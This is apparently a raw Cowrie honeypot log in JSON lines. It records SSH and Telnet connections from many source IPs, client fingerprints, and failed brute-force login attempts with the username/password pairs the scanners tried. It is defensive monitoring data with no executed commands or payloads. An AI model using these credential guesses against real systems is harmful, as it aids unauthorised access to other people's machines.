{"eventid":"cowrie.session.connect","src_ip":"43.129.44.66","src_port":53372,"dst_ip":"10.17.0.5","dst_port":22,"session":"1ca8ef1c948d","protocol":"ssh","message":"New connection: 43.129.44.66:53372 (10.17.0.5:22) [session: 1ca8ef1c948d]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T06:07:30.712058Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-libssh_0.9.6","message":"Remote SSH version: SSH-2.0-libssh_0.9.6","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T06:07:30.717437Z","src_ip":"43.129.44.66","session":"1ca8ef1c948d","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"f555226df1963d1d3c09daf865abdc9a","hasshAlgorithms":"curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group18-sha512,diffie-hellman-group16-sha512,diffie-hellman-group-exchange-sha256,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,diffie-hellman-group1-sha1,ext-info-c;aes256-gcm@openssh.com,aes128-gcm@openssh.com,aes256-ctr,aes192-ctr,aes128-ctr,aes256-cbc,aes192-cbc,aes128-cbc,3des-cbc;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha1-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1;none","kexAlgs":["curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group18-sha512","diffie-hellman-group16-sha512","diffie-hellman-group-exchange-sha256","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","diffie-hellman-group1-sha1","ext-info-c"],"keyAlgs":["ssh-ed25519","ecdsa-sha2-nistp521","ecdsa-sha2-nistp384","ecdsa-sha2-nistp256","rsa-sha2-512","rsa-sha2-256","ssh-rsa","ssh-dss"],"encCS":["aes256-gcm@openssh.com","aes128-gcm@openssh.com","aes256-ctr","aes192-ctr","aes128-ctr","aes256-cbc","aes192-cbc","aes128-cbc","3des-cbc"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha1-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: f555226df1963d1d3c09daf865abdc9a","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T06:07:30.959479Z","src_ip":"43.129.44.66","session":"1ca8ef1c948d","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"128.199.8.54","src_port":51780,"dst_ip":"159.203.135.109","dst_port":23,"session":"b759db75b99d","protocol":"telnet","message":"New connection: 128.199.8.54:51780 (159.203.135.109:23) [session: b759db75b99d]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T06:07:31.075966Z"}
{"eventid":"cowrie.login.failed","username":"adminuser","password":"admin","message":"login attempt [adminuser/admin] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T06:07:31.959978Z","src_ip":"43.129.44.66","session":"1ca8ef1c948d","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"2.5","message":"Connection lost after 2.5 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T06:07:33.204963Z","src_ip":"43.129.44.66","session":"1ca8ef1c948d","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"91.211.95.158","src_port":45252,"dst_ip":"159.203.135.109","dst_port":22,"session":"40b87cae6211","protocol":"ssh","message":"New connection: 91.211.95.158:45252 (159.203.135.109:22) [session: 40b87cae6211]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T06:07:40.838756Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-libssh_0.9.6","message":"Remote SSH version: SSH-2.0-libssh_0.9.6","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T06:07:40.843786Z","src_ip":"91.211.95.158","session":"40b87cae6211","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"f555226df1963d1d3c09daf865abdc9a","hasshAlgorithms":"curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group18-sha512,diffie-hellman-group16-sha512,diffie-hellman-group-exchange-sha256,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,diffie-hellman-group1-sha1,ext-info-c;aes256-gcm@openssh.com,aes128-gcm@openssh.com,aes256-ctr,aes192-ctr,aes128-ctr,aes256-cbc,aes192-cbc,aes128-cbc,3des-cbc;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha1-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1;none","kexAlgs":["curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group18-sha512","diffie-hellman-group16-sha512","diffie-hellman-group-exchange-sha256","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","diffie-hellman-group1-sha1","ext-info-c"],"keyAlgs":["ssh-ed25519","ecdsa-sha2-nistp521","ecdsa-sha2-nistp384","ecdsa-sha2-nistp256","rsa-sha2-512","rsa-sha2-256","ssh-rsa","ssh-dss"],"encCS":["aes256-gcm@openssh.com","aes128-gcm@openssh.com","aes256-ctr","aes192-ctr","aes128-ctr","aes256-cbc","aes192-cbc","aes128-cbc","3des-cbc"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha1-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: f555226df1963d1d3c09daf865abdc9a","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T06:07:41.007896Z","src_ip":"91.211.95.158","session":"40b87cae6211","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"notes","password":"notes","message":"login attempt [notes/notes] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T06:07:41.705877Z","src_ip":"91.211.95.158","session":"40b87cae6211","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"2.0","message":"Connection lost after 2.0 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T06:07:42.869212Z","src_ip":"91.211.95.158","session":"40b87cae6211","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"46.19.67.181","src_port":46456,"dst_ip":"159.203.135.109","dst_port":22,"session":"29f8034a33a2","protocol":"ssh","message":"New connection: 46.19.67.181:46456 (159.203.135.109:22) [session: 29f8034a33a2]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T06:07:55.333095Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-Go","message":"Remote SSH version: SSH-2.0-Go","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T06:07:55.337259Z","src_ip":"46.19.67.181","session":"29f8034a33a2","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"16443846184eafde36765c9bab2f4397","hasshAlgorithms":"mlkem768x25519-sha256,curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,ext-info-c,kex-strict-c-v00@openssh.com;aes128-gcm@openssh.com,aes256-gcm@openssh.com,chacha20-poly1305@openssh.com,aes128-ctr,aes192-ctr,aes256-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1,hmac-sha1-96;none","kexAlgs":["mlkem768x25519-sha256","curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["rsa-sha2-256-cert-v01@openssh.com","rsa-sha2-512-cert-v01@openssh.com","ssh-rsa-cert-v01@openssh.com","ssh-dss-cert-v01@openssh.com","ecdsa-sha2-nistp256-cert-v01@openssh.com","ecdsa-sha2-nistp384-cert-v01@openssh.com","ecdsa-sha2-nistp521-cert-v01@openssh.com","ssh-ed25519-cert-v01@openssh.com","ecdsa-sha2-nistp256","ecdsa-sha2-nistp384","ecdsa-sha2-nistp521","rsa-sha2-256","rsa-sha2-512","ssh-rsa","ssh-dss","ssh-ed25519"],"encCS":["aes128-gcm@openssh.com","aes256-gcm@openssh.com","chacha20-poly1305@openssh.com","aes128-ctr","aes192-ctr","aes256-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1","hmac-sha1-96"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: 16443846184eafde36765c9bab2f4397","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T06:07:55.452654Z","src_ip":"46.19.67.181","session":"29f8034a33a2","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"root","password":"310783","message":"login attempt [root/310783] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T06:07:55.798826Z","src_ip":"46.19.67.181","session":"29f8034a33a2","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"1.6","message":"Connection lost after 1.6 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T06:07:56.913156Z","src_ip":"46.19.67.181","session":"29f8034a33a2","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":46.76847577095032,"message":"Connection lost after 46 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T06:07:59.035565Z","src_ip":"128.199.8.54","session":"1cadea6e7d2b","protocol":"telnet"}
{"eventid":"cowrie.session.connect","src_ip":"4.213.224.194","src_port":34002,"dst_ip":"10.17.0.5","dst_port":22,"session":"7c608c27e0b0","protocol":"ssh","message":"New connection: 4.213.224.194:34002 (10.17.0.5:22) [session: 7c608c27e0b0]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T06:08:16.122878Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-libssh_0.9.6","message":"Remote SSH version: SSH-2.0-libssh_0.9.6","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T06:08:16.127012Z","src_ip":"4.213.224.194","session":"7c608c27e0b0","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"f555226df1963d1d3c09daf865abdc9a","hasshAlgorithms":"curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group18-sha512,diffie-hellman-group16-sha512,diffie-hellman-group-exchange-sha256,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,diffie-hellman-group1-sha1,ext-info-c;aes256-gcm@openssh.com,aes128-gcm@openssh.com,aes256-ctr,aes192-ctr,aes128-ctr,aes256-cbc,aes192-cbc,aes128-cbc,3des-cbc;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha1-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1;none","kexAlgs":["curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group18-sha512","diffie-hellman-group16-sha512","diffie-hellman-group-exchange-sha256","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","diffie-hellman-group1-sha1","ext-info-c"],"keyAlgs":["ssh-ed25519","ecdsa-sha2-nistp521","ecdsa-sha2-nistp384","ecdsa-sha2-nistp256","rsa-sha2-512","rsa-sha2-256","ssh-rsa","ssh-dss"],"encCS":["aes256-gcm@openssh.com","aes128-gcm@openssh.com","aes256-ctr","aes192-ctr","aes128-ctr","aes256-cbc","aes192-cbc","aes128-cbc","3des-cbc"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha1-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: f555226df1963d1d3c09daf865abdc9a","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T06:08:16.315813Z","src_ip":"4.213.224.194","session":"7c608c27e0b0","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"root","password":"dana123","message":"login attempt [root/dana123] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T06:08:17.139827Z","src_ip":"4.213.224.194","session":"7c608c27e0b0","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"2.2","message":"Connection lost after 2.2 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T06:08:18.344308Z","src_ip":"4.213.224.194","session":"7c608c27e0b0","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"111.238.174.6","src_port":43664,"dst_ip":"10.17.0.5","dst_port":22,"session":"35d74430c6d7","protocol":"ssh","message":"New connection: 111.238.174.6:43664 (10.17.0.5:22) [session: 35d74430c6d7]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T06:08:20.772377Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-libssh_0.11.1","message":"Remote SSH version: SSH-2.0-libssh_0.11.1","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T06:08:20.779991Z","src_ip":"111.238.174.6","session":"35d74430c6d7","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"03a80b21afa810682a776a7d42e5e6fb","hasshAlgorithms":"curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group18-sha512,diffie-hellman-group16-sha512,diffie-hellman-group-exchange-sha256,diffie-hellman-group14-sha256,ext-info-c,kex-strict-c-v00@openssh.com;chacha20-poly1305@openssh.com,aes256-gcm@openssh.com,aes128-gcm@openssh.com,aes256-ctr,aes192-ctr,aes128-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512;none,zlib@openssh.com","kexAlgs":["curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group18-sha512","diffie-hellman-group16-sha512","diffie-hellman-group-exchange-sha256","diffie-hellman-group14-sha256","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["ssh-ed25519","ecdsa-sha2-nistp521","ecdsa-sha2-nistp384","ecdsa-sha2-nistp256","sk-ssh-ed25519@openssh.com","sk-ecdsa-sha2-nistp256@openssh.com","rsa-sha2-512","rsa-sha2-256"],"encCS":["chacha20-poly1305@openssh.com","aes256-gcm@openssh.com","aes128-gcm@openssh.com","aes256-ctr","aes192-ctr","aes128-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512"],"compCS":["none","zlib@openssh.com"],"langCS":[""],"message":"SSH client hassh fingerprint: 03a80b21afa810682a776a7d42e5e6fb","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T06:08:20.970688Z","src_ip":"111.238.174.6","session":"35d74430c6d7","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"user1","password":"USER1","message":"login attempt [user1/USER1] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T06:08:21.756247Z","src_ip":"111.238.174.6","session":"35d74430c6d7","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":50.98200178146362,"message":"Connection lost after 50 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T06:08:22.057827Z","src_ip":"128.199.8.54","session":"b759db75b99d","protocol":"telnet"}
{"eventid":"cowrie.session.closed","duration":"2.2","message":"Connection lost after 2.2 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T06:08:22.943289Z","src_ip":"111.238.174.6","session":"35d74430c6d7","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"103.248.120.6","src_port":42519,"dst_ip":"10.17.0.5","dst_port":22,"session":"434c2ff923f6","protocol":"ssh","message":"New connection: 103.248.120.6:42519 (10.17.0.5:22) [session: 434c2ff923f6]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T06:08:38.936110Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-libssh_0.11.1","message":"Remote SSH version: SSH-2.0-libssh_0.11.1","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T06:08:38.940141Z","src_ip":"103.248.120.6","session":"434c2ff923f6","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"03a80b21afa810682a776a7d42e5e6fb","hasshAlgorithms":"curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group18-sha512,diffie-hellman-group16-sha512,diffie-hellman-group-exchange-sha256,diffie-hellman-group14-sha256,ext-info-c,kex-strict-c-v00@openssh.com;chacha20-poly1305@openssh.com,aes256-gcm@openssh.com,aes128-gcm@openssh.com,aes256-ctr,aes192-ctr,aes128-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512;none,zlib@openssh.com","kexAlgs":["curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group18-sha512","diffie-hellman-group16-sha512","diffie-hellman-group-exchange-sha256","diffie-hellman-group14-sha256","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["ssh-ed25519","ecdsa-sha2-nistp521","ecdsa-sha2-nistp384","ecdsa-sha2-nistp256","sk-ssh-ed25519@openssh.com","sk-ecdsa-sha2-nistp256@openssh.com","rsa-sha2-512","rsa-sha2-256"],"encCS":["chacha20-poly1305@openssh.com","aes256-gcm@openssh.com","aes128-gcm@openssh.com","aes256-ctr","aes192-ctr","aes128-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512"],"compCS":["none","zlib@openssh.com"],"langCS":[""],"message":"SSH client hassh fingerprint: 03a80b21afa810682a776a7d42e5e6fb","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T06:08:39.164920Z","src_ip":"103.248.120.6","session":"434c2ff923f6","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"ganesh","password":"123456","message":"login attempt [ganesh/123456] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T06:08:40.101277Z","src_ip":"103.248.120.6","session":"434c2ff923f6","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"190.128.201.18","src_port":35244,"dst_ip":"159.203.135.109","dst_port":22,"session":"fb8a6836f481","protocol":"ssh","message":"New connection: 190.128.201.18:35244 (159.203.135.109:22) [session: fb8a6836f481]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T06:08:40.228495Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-libssh_0.9.6","message":"Remote SSH version: SSH-2.0-libssh_0.9.6","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T06:08:40.233282Z","src_ip":"190.128.201.18","session":"fb8a6836f481","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"f555226df1963d1d3c09daf865abdc9a","hasshAlgorithms":"curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group18-sha512,diffie-hellman-group16-sha512,diffie-hellman-group-exchange-sha256,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,diffie-hellman-group1-sha1,ext-info-c;aes256-gcm@openssh.com,aes128-gcm@openssh.com,aes256-ctr,aes192-ctr,aes128-ctr,aes256-cbc,aes192-cbc,aes128-cbc,3des-cbc;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha1-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1;none","kexAlgs":["curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group18-sha512","diffie-hellman-group16-sha512","diffie-hellman-group-exchange-sha256","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","diffie-hellman-group1-sha1","ext-info-c"],"keyAlgs":["ssh-ed25519","ecdsa-sha2-nistp521","ecdsa-sha2-nistp384","ecdsa-sha2-nistp256","rsa-sha2-512","rsa-sha2-256","ssh-rsa","ssh-dss"],"encCS":["aes256-gcm@openssh.com","aes128-gcm@openssh.com","aes256-ctr","aes192-ctr","aes128-ctr","aes256-cbc","aes192-cbc","aes128-cbc","3des-cbc"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha1-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: f555226df1963d1d3c09daf865abdc9a","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T06:08:40.369879Z","src_ip":"190.128.201.18","session":"fb8a6836f481","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"admissions","password":"admissions","message":"login attempt [admissions/admissions] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T06:08:40.951282Z","src_ip":"190.128.201.18","session":"fb8a6836f481","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"123.58.215.196","src_port":54230,"dst_ip":"10.17.0.5","dst_port":22,"session":"ca5f1715e9c5","protocol":"ssh","message":"New connection: 123.58.215.196:54230 (10.17.0.5:22) [session: ca5f1715e9c5]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T06:08:41.175494Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-libssh_0.9.6","message":"Remote SSH version: SSH-2.0-libssh_0.9.6","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T06:08:41.180415Z","src_ip":"123.58.215.196","session":"ca5f1715e9c5","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"2.4","message":"Connection lost after 2.4 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T06:08:41.332608Z","src_ip":"103.248.120.6","session":"434c2ff923f6","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"f555226df1963d1d3c09daf865abdc9a","hasshAlgorithms":"curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group18-sha512,diffie-hellman-group16-sha512,diffie-hellman-group-exchange-sha256,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,diffie-hellman-group1-sha1,ext-info-c;aes256-gcm@openssh.com,aes128-gcm@openssh.com,aes256-ctr,aes192-ctr,aes128-ctr,aes256-cbc,aes192-cbc,aes128-cbc,3des-cbc;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha1-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1;none","kexAlgs":["curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group18-sha512","diffie-hellman-group16-sha512","diffie-hellman-group-exchange-sha256","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","diffie-hellman-group1-sha1","ext-info-c"],"keyAlgs":["ssh-ed25519","ecdsa-sha2-nistp521","ecdsa-sha2-nistp384","ecdsa-sha2-nistp256","rsa-sha2-512","rsa-sha2-256","ssh-rsa","ssh-dss"],"encCS":["aes256-gcm@openssh.com","aes128-gcm@openssh.com","aes256-ctr","aes192-ctr","aes128-ctr","aes256-cbc","aes192-cbc","aes128-cbc","3des-cbc"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha1-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: f555226df1963d1d3c09daf865abdc9a","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T06:08:41.402724Z","src_ip":"123.58.215.196","session":"ca5f1715e9c5","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"1.9","message":"Connection lost after 1.9 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T06:08:42.090765Z","src_ip":"190.128.201.18","session":"fb8a6836f481","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"sales1","password":"123456","message":"login attempt [sales1/123456] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T06:08:42.318261Z","src_ip":"123.58.215.196","session":"ca5f1715e9c5","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"2.4","message":"Connection lost after 2.4 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T06:08:43.550796Z","src_ip":"123.58.215.196","session":"ca5f1715e9c5","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"2.57.122.238","src_port":60028,"dst_ip":"159.203.135.109","dst_port":22,"session":"16ed69d1c595","protocol":"ssh","message":"New connection: 2.57.122.238:60028 (159.203.135.109:22) [session: 16ed69d1c595]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T06:08:53.357838Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-Go","message":"Remote SSH version: SSH-2.0-Go","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T06:08:53.362243Z","src_ip":"2.57.122.238","session":"16ed69d1c595","protocol":"ssh"}
